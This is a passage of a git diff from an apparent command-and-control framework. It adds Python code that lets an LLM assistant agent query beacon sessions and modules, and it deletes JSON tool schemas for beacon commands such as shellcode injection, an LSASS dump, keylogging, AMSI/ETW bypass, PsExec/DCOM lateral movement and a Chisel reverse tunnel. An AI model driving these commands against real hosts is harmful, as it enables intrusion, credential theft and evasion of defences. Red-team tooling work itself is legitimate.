grpc_client: Any + + name = "listLoadedModules" + description = "List modules currently tracked for a beacon session. Use this before running module commands." + + def schema(self) -> LLMToolDefinition: + return build_tool_definition( + name=self.name, + description=self.description, + parameters={ + "type": "object", + "properties": { + "beacon_hash": { + "type": "string", + "description": "Full beacon hash for the target session.", + }, + "listener_hash": { + "type": "string", + "description": "Full listener hash for the target session.", + }, + }, + "required": ["beacon_hash", "listener_hash"], + "additionalProperties": False, + }, + ) + + def execute(self, arguments: dict, context: ExecutionContext) -> ToolResult: + modules = list_loaded_modules( + self.grpc_client, + beacon_hash=arguments["beacon_hash"], + listener_hash=arguments["listener_hash"], + ) + return ToolResult(ok=True, content=format_loaded_modules(modules)) + + +def list_loaded_modules(grpc_client: Any, *, beacon_hash: str, listener_hash: str) -> list[Any]: + if grpc_client is None or not hasattr(grpc_client, "listModules"): + return [] + session = TeamServerApi_pb2.SessionSelector( + beacon_hash=beacon_hash, + listener_hash=listener_hash, + ) + return list(grpc_client.listModules(session)) + + +def has_loaded_module(grpc_client: Any, *, beacon_hash: str, listener_hash: str, module_name: str) -> bool | None: + if grpc_client is None or not hasattr(grpc_client, "listModules"): + return None + try: + modules = list_loaded_modules(grpc_client, beacon_hash=beacon_hash, listener_hash=listener_hash) + except Exception: + return None + + expected = _normalize_module_name(module_name) + for module in modules: + name = _normalize_module_name(getattr(module, "name", "")) + state = str(getattr(module, "state", "") or "").lower() + if name == expected and state == "loaded": + return True + return False + + +def format_loaded_modules(modules: list[Any]) -> str: + rows = [] + for module in modules: + name = str(getattr(module, "name", "") or "").strip() + if not name: + continue + state = str(getattr(module, "state", "") or "unknown").strip() or "unknown" + rows.append((name, state)) + + if not rows: + return "No loaded modules." + + name_width = max(len("name"), *(len(name) for name, _state in rows)) + lines = [f"{'name'.ljust(name_width)} status"] + for name, state in rows: + lines.append(f"{name.ljust(name_width)} {state}") + return "\n".join(lines) + + +def _normalize_module_name(value: Any) -> str: + text = str(value or "").strip() + if "." in text: + text = text.rsplit(".", 1)[0] + if text.lower().startswith("lib") and len(text) > 3: + text = text[3:] + aliases = { + "printworkingdirectory": "pwd", + "changedirectory": "cd", + "listdirectory": "ls", + "listprocesses": "ps", + "ipconfig": "ipConfig", + "mkdir": "mkDir", + } + return aliases.get(text.lower(), text).lower() diff --git a/C2Client/C2Client/assistant_agent/tools/registry.py b/C2Client/C2Client/assistant_agent/tools/registry.py index a4e678a..dab831c 100644 --- a/C2Client/C2Client/assistant_agent/tools/registry.py +++ b/C2Client/C2Client/assistant_agent/tools/registry.py @@ -1,20 +1,24 @@ from __future__ import annotations -from pathlib import Path from typing import Any +from .command_help_tool import C2CommandHelpTool from .command_tool import C2CommandTool -from .loader import load_tool_specs +from .command_specs import load_command_tool_specs +from .module_state_tool import C2LoadedModulesTool +from .session_state_tool import C2LiveSessionsTool from agent_core import ToolRegistry -def build_c2_tool_registry( - grpc_client: Any, - *, - schema_dir: Path | None = None, -) -> ToolRegistry: +def build_c2_tool_registry(grpc_client: Any) -> ToolRegistry: registry = ToolRegistry() - for spec in load_tool_specs(schema_dir): + if grpc_client is not None and hasattr(grpc_client, "getCommandHelp"): + registry.register(C2CommandHelpTool(grpc_client)) + if grpc_client is not None and hasattr(grpc_client, "listModules"): + registry.register(C2LoadedModulesTool(grpc_client)) + if grpc_client is not None and hasattr(grpc_client, "listSessions"): + registry.register(C2LiveSessionsTool(grpc_client)) + for spec in load_command_tool_specs(grpc_client): registry.register(C2CommandTool(spec, grpc_client)) return registry diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/assemblyExec.json b/C2Client/C2Client/assistant_agent/tools/schemas/assemblyExec.json deleted file mode 100644 index a8b2f3d..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/assemblyExec.json +++ /dev/null @@ -1,51 +0,0 @@ -{ - "name": "assemblyExec", - "description": "Prepare AssemblyExec execution mode or payload execution.", - "command_template": "assemblyExec {action} {input_file:q?} {method:q?} {arguments:raw?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "action": { - "type": "string", - "description": "Execution mode selector or payload type accepted by init(): thread, process, processWithSpoofedParent, -r, -e, or -d.", - "enum": [ - "thread", - "process", - "processWithSpoofedParent", - "-r", - "-e", - "-d" - ] - }, - "input_file": { - "type": "string", - "description": "Raw shellcode, .NET executable, or .NET DLL path. Required for -r, -e, and -d. The module also searches the release Tools directory.", - "default": "" - }, - "method": { - "type": "string", - "description": "DLL method name. Required only when action is -d.", - "default": "" - }, - "arguments": { - "type": "string", - "description": "Optional arguments passed to the .NET executable or DLL method.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "action" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/cat.json b/C2Client/C2Client/assistant_agent/tools/schemas/cat.json deleted file mode 100644 index cd10105..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/cat.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "cat", - "description": "Read a file on a beacon host.", - "command_template": "cat {path:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "path": { - "type": "string", - "description": "File path to read." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "path" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/cd.json b/C2Client/C2Client/assistant_agent/tools/schemas/cd.json deleted file mode 100644 index 0a60c86..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/cd.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "cd", - "description": "Change the beacon working directory.", - "command_template": "cd {path:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "path": { - "type": "string", - "description": "Target working directory path." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "path" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/chisel.json b/C2Client/C2Client/assistant_agent/tools/schemas/chisel.json deleted file mode 100644 index a636bc0..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/chisel.json +++ /dev/null @@ -1,47 +0,0 @@ -{ - "name": "chisel", - "description": "Manage Chisel status, stop a running instance, or launch a Chisel client payload.", - "command_template": "chisel {binary_path_or_action:q} {pid?} {client_subcommand?} {server:q?} {reverse:q?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "binary_path_or_action": { - "type": "string", - "description": "Use status, stop, or the local Chisel executable path to package and launch." - }, - "pid": { - "type": "integer", - "description": "PID to stop when binary_path_or_action is stop." - }, - "client_subcommand": { - "type": "string", - "description": "Use client when launching Chisel.", - "default": "" - }, - "server": { - "type": "string", - "description": "Attacker host:port for Chisel client mode.", - "default": "" - }, - "reverse": { - "type": "string", - "description": "Reverse mapping such as R:socks or R:LOCAL_PORT:TARGET_IP:REMOTE_PORT.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "binary_path_or_action" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/cimExec.json b/C2Client/C2Client/assistant_agent/tools/schemas/cimExec.json deleted file mode 100644 index ce66ef1..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/cimExec.json +++ /dev/null @@ -1,53 +0,0 @@ -{ - "name": "cimExec", - "description": "Execute a command over CIM/WMI with explicit init() options.", - "command_template": "cimExec -h {hostname:q} -c {command:q} [-n {namespace_name:q}] [-a {arguments:q}] [-u {username:q}] [-p {password:q}]", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "hostname": { - "type": "string", - "description": "Target host name or IP." - }, - "command": { - "type": "string", - "description": "Executable or command to start remotely." - }, - "namespace_name": { - "type": "string", - "description": "CIM namespace passed with -n. Defaults to root/cimv2 in the module.", - "default": "" - }, - "arguments": { - "type": "string", - "description": "Optional command arguments passed with -a.", - "default": "" - }, - "username": { - "type": "string", - "description": "Optional username passed with -u.", - "default": "" - }, - "password": { - "type": "string", - "description": "Optional password passed with -p.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "hostname", - "command" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/coffLoader.json b/C2Client/C2Client/assistant_agent/tools/schemas/coffLoader.json deleted file mode 100644 index f02b56e..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/coffLoader.json +++ /dev/null @@ -1,38 +0,0 @@ -{ - "name": "coffLoader", - "description": "Load a COFF object file and execute an exported function.", - "command_template": "coffLoader {coff_file:q} {function_name:q} {packed_arguments:raw?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "coff_file": { - "type": "string", - "description": "Local COFF object file path." - }, - "function_name": { - "type": "string", - "description": "Exported function to call, for example go." - }, - "packed_arguments": { - "type": "string", - "description": "Optional COFF argument format and values, for example: Zs c:\\ 0.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "coff_file", - "function_name" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/dcomExec.json b/C2Client/C2Client/assistant_agent/tools/schemas/dcomExec.json deleted file mode 100644 index 4896be3..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/dcomExec.json +++ /dev/null @@ -1,63 +0,0 @@ -{ - "name": "dcomExec", - "description": "Execute a command over DCOM with the flags parsed by DcomExec::init().", - "command_template": "dcomExec -h {hostname:q} -c {command:q} [-a {arguments:q}] [-w {working_dir:q}] [-k {spn:q}] [-u {username:q}] [-p {password:q}] [-n {no_password:flag}]", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "hostname": { - "type": "string", - "description": "Target host name or IP." - }, - "command": { - "type": "string", - "description": "Executable or command to start remotely." - }, - "arguments": { - "type": "string", - "description": "Optional command arguments passed with -a.", - "default": "" - }, - "working_dir": { - "type": "string", - "description": "Optional remote working directory passed with -w.", - "default": "" - }, - "spn": { - "type": "string", - "description": "Optional Kerberos SPN passed with -k.", - "default": "" - }, - "username": { - "type": "string", - "description": "Optional username passed with -u. If set, also set password or no_password.", - "default": "" - }, - "password": { - "type": "string", - "description": "Optional password passed with -p.", - "default": "" - }, - "no_password": { - "type": "boolean", - "description": "Include -n to use no password/current credential behavior.", - "default": false - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "hostname", - "command" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/dotnetExec.json b/C2Client/C2Client/assistant_agent/tools/schemas/dotnetExec.json deleted file mode 100644 index 141ca99..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/dotnetExec.json +++ /dev/null @@ -1,58 +0,0 @@ -{ - "name": "dotnetExec", - "description": "Load or run .NET assemblies using DotnetExec::init() actions.", - "command_template": "dotnetExec {action} {module_name:q} {input_file:q?} {type_for_dll:q?} {method_name:q?} {arguments:raw?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "action": { - "type": "string", - "description": "DotnetExec action.", - "enum": [ - "load", - "runExe", - "runDll" - ] - }, - "module_name": { - "type": "string", - "description": "Short module name used for loaded assemblies, or the loaded module to run." - }, - "input_file": { - "type": "string", - "description": "Assembly path for load. Required for action load.", - "default": "" - }, - "type_for_dll": { - "type": "string", - "description": "Fully-qualified type name for DLL load. Leave empty for EXE load.", - "default": "" - }, - "method_name": { - "type": "string", - "description": "Method name for runDll. Required for action runDll.", - "default": "" - }, - "arguments": { - "type": "string", - "description": "Optional runExe/runDll argument tail.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "action", - "module_name" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/download.json b/C2Client/C2Client/assistant_agent/tools/schemas/download.json deleted file mode 100644 index 047a980..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/download.json +++ /dev/null @@ -1,33 +0,0 @@ -{ - "name": "download", - "description": "Download a file from a beacon host to the operator machine.", - "command_template": "download {remote_path:q} {local_path:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "remote_path": { - "type": "string", - "description": "Path on the beacon host." - }, - "local_path": { - "type": "string", - "description": "Destination path on the operator machine." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "remote_path", - "local_path" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/enumerateRdpSessions.json b/C2Client/C2Client/assistant_agent/tools/schemas/enumerateRdpSessions.json deleted file mode 100644 index bb00a6f..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/enumerateRdpSessions.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "enumerateRdpSessions", - "description": "Enumerate local or remote RDP sessions.", - "command_template": "enumerateRdpSessions [-s {server:q}]", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "server": { - "type": "string", - "description": "Optional target host name or IP. Omit for local enumeration.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/enumerateShares.json b/C2Client/C2Client/assistant_agent/tools/schemas/enumerateShares.json deleted file mode 100644 index 04ebb74..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/enumerateShares.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "enumerateShares", - "description": "Enumerate SMB shares from the beacon context.", - "command_template": "enumerateShares {host:q?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "host": { - "type": "string", - "description": "Optional remote host to enumerate.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/evasion.json b/C2Client/C2Client/assistant_agent/tools/schemas/evasion.json deleted file mode 100644 index 2dd1417..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/evasion.json +++ /dev/null @@ -1,49 +0,0 @@ -{ - "name": "evasion", - "description": "Run an Evasion module action.", - "command_template": "evasion {action} {address:q?} {value:q?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "action": { - "type": "string", - "description": "Evasion action accepted by init().", - "enum": [ - "CheckHooks", - "DisableETW", - "Unhook", - "UnhookPerunsFart", - "AmsiBypass", - "Introspection", - "ReadMemory", - "PatchMemory", - "RemotePatch" - ] - }, - "address": { - "type": "string", - "description": "Address/module value for Introspection, ReadMemory, or PatchMemory.", - "default": "" - }, - "value": { - "type": "string", - "description": "Size for ReadMemory or patch bytes/value for PatchMemory.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "action" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/getEnv.json b/C2Client/C2Client/assistant_agent/tools/schemas/getEnv.json deleted file mode 100644 index 0af627d..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/getEnv.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "name": "getEnv", - "description": "List environment variables available to the beacon process.", - "command_template": "getEnv", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/inject.json b/C2Client/C2Client/assistant_agent/tools/schemas/inject.json deleted file mode 100644 index 298afef..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/inject.json +++ /dev/null @@ -1,54 +0,0 @@ -{ - "name": "inject", - "description": "Inject raw shellcode or Donut-generated payload into a process.", - "command_template": "inject {payload_type} {input_file:q} {pid} {method:q?} {arguments:raw?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "payload_type": { - "type": "string", - "description": "Payload source type accepted by init(): -r raw shellcode, -e .NET executable, or -d .NET DLL.", - "enum": [ - "-r", - "-e", - "-d" - ] - }, - "input_file": { - "type": "string", - "description": "Raw shellcode, .NET executable, or .NET DLL path. The module also searches release Tools and Windows beacons directories." - }, - "pid": { - "type": "integer", - "description": "Target process id.", - "minimum": 0 - }, - "method": { - "type": "string", - "description": "DLL method name. Required only when payload_type is -d.", - "default": "" - }, - "arguments": { - "type": "string", - "description": "Optional arguments passed to the .NET executable or DLL method.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "payload_type", - "input_file", - "pid" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/ipConfig.json b/C2Client/C2Client/assistant_agent/tools/schemas/ipConfig.json deleted file mode 100644 index f221bf1..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/ipConfig.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "name": "ipConfig", - "description": "Show local IP configuration for the beacon host.", - "command_template": "ipConfig", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/kerberosUseTicket.json b/C2Client/C2Client/assistant_agent/tools/schemas/kerberosUseTicket.json deleted file mode 100644 index b1eec3a..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/kerberosUseTicket.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "kerberosUseTicket", - "description": "Import a Kerberos ticket file into the current LUID.", - "command_template": "kerberosUseTicket {ticket_file:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "ticket_file": { - "type": "string", - "description": "Local .kirbi ticket file path read by the TeamServer side before sending." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "ticket_file" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/keyLogger.json b/C2Client/C2Client/assistant_agent/tools/schemas/keyLogger.json deleted file mode 100644 index 1ea240f..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/keyLogger.json +++ /dev/null @@ -1,33 +0,0 @@ -{ - "name": "keyLogger", - "description": "Start, stop, or locally dump the keylogger buffer.", - "command_template": "keyLogger {action}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "action": { - "type": "string", - "description": "KeyLogger action accepted by init(). dump is handled locally and does not dispatch to the beacon.", - "enum": [ - "start", - "stop", - "dump" - ] - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "action" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/killProcess.json b/C2Client/C2Client/assistant_agent/tools/schemas/killProcess.json deleted file mode 100644 index 9bb11f7..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/killProcess.json +++ /dev/null @@ -1,29 +0,0 @@ -{ - "name": "killProcess", - "description": "Terminate a process on the beacon host by PID.", - "command_template": "killProcess {pid}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "pid": { - "type": "integer", - "description": "Process id to terminate.", - "minimum": 0 - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "pid" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/listProcesses.json b/C2Client/C2Client/assistant_agent/tools/schemas/listProcesses.json deleted file mode 100644 index cee13d9..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/listProcesses.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "name": "listProcesses", - "description": "List running processes on the beacon host.", - "command_template": "ps", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/loadModule.json b/C2Client/C2Client/assistant_agent/tools/schemas/loadModule.json deleted file mode 100644 index 7411d11..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/loadModule.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "loadModule", - "description": "Load a beacon module into memory. Use this when a module is missing before retrying a command.", - "command_template": "loadModule {module_to_load}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "module_to_load": { - "type": "string", - "description": "Module filename or path to load. Ask the operator for the exact release-side module name or path if it is not already known." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "module_to_load" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/ls.json b/C2Client/C2Client/assistant_agent/tools/schemas/ls.json deleted file mode 100644 index dd7b451..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/ls.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "ls", - "description": "List a directory on a beacon host. Omit path to list the current working directory.", - "command_template": "ls {path:q?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "path": { - "type": "string", - "description": "Directory path to list. Leave empty for the current working directory.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/makeToken.json b/C2Client/C2Client/assistant_agent/tools/schemas/makeToken.json deleted file mode 100644 index 381cce5..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/makeToken.json +++ /dev/null @@ -1,33 +0,0 @@ -{ - "name": "makeToken", - "description": "Create and impersonate a token from explicit credentials.", - "command_template": "makeToken {username:q} {password:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "username": { - "type": "string", - "description": "Username in Username or DOMAIN\\Username form." - }, - "password": { - "type": "string", - "description": "Password for the supplied username." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "username", - "password" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/miniDump.json b/C2Client/C2Client/assistant_agent/tools/schemas/miniDump.json deleted file mode 100644 index c75b9b3..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/miniDump.json +++ /dev/null @@ -1,37 +0,0 @@ -{ - "name": "miniDump", - "description": "Dump LSASS to an XORed file or decrypt an XORed dump locally.", - "command_template": "miniDump {action} {path:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "action": { - "type": "string", - "description": "MiniDump action.", - "enum": [ - "dump", - "decrypt" - ] - }, - "path": { - "type": "string", - "description": "Output file for dump, or input XORed dump path for decrypt." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "action", - "path" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/mkDir.json b/C2Client/C2Client/assistant_agent/tools/schemas/mkDir.json deleted file mode 100644 index e90cf58..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/mkDir.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "mkDir", - "description": "Create a directory on the beacon host.", - "command_template": "mkDir {path:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "path": { - "type": "string", - "description": "Directory path to create." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "path" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/netstat.json b/C2Client/C2Client/assistant_agent/tools/schemas/netstat.json deleted file mode 100644 index 6647f92..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/netstat.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "name": "netstat", - "description": "Show active network connections from the beacon host.", - "command_template": "netstat", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/powershell.json b/C2Client/C2Client/assistant_agent/tools/schemas/powershell.json deleted file mode 100644 index 8a51e0a..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/powershell.json +++ /dev/null @@ -1,43 +0,0 @@ -{ - "name": "powershell", - "description": "Run a PowerShell command, import a script with -i, or execute a script with -s.", - "command_template": "powershell {mode?} {script_path:q?} {command:raw?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "mode": { - "type": "string", - "description": "Optional file mode: -i to import a PowerShell script as a module, or -s to execute a script file.", - "enum": [ - "-i", - "-s", - "" - ], - "default": "" - }, - "script_path": { - "type": "string", - "description": "Script path required when mode is -i or -s. The module also searches the release Scripts directory.", - "default": "" - }, - "command": { - "type": "string", - "description": "PowerShell command text for direct execution.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/psExec.json b/C2Client/C2Client/assistant_agent/tools/schemas/psExec.json deleted file mode 100644 index 5354e8d..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/psExec.json +++ /dev/null @@ -1,53 +0,0 @@ -{ - "name": "psExec", - "description": "Copy and run a service executable on a remote host via PsExec.", - "command_template": "psExec {auth_mode} {username:q?} {password:q?} {target:q} {service_file:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "auth_mode": { - "type": "string", - "description": "Authentication mode accepted by init(): -u explicit credentials, -k Kerberos/current ticket, or -n no password/current token.", - "enum": [ - "-u", - "-k", - "-n" - ] - }, - "username": { - "type": "string", - "description": "DOMAIN\\Username for -u mode.", - "default": "" - }, - "password": { - "type": "string", - "description": "Password for -u mode.", - "default": "" - }, - "target": { - "type": "string", - "description": "Target host name or IP." - }, - "service_file": { - "type": "string", - "description": "Local service executable file path to copy and run." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "auth_mode", - "target", - "service_file" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/pwSh.json b/C2Client/C2Client/assistant_agent/tools/schemas/pwSh.json deleted file mode 100644 index c71d284..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/pwSh.json +++ /dev/null @@ -1,54 +0,0 @@ -{ - "name": "pwSh", - "description": "Initialize or use the in-memory PowerShell runner.", - "command_template": "pwSh {action} {input_file:q?} {type_for_dll:q?} {command:raw?} {script_path:q?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash 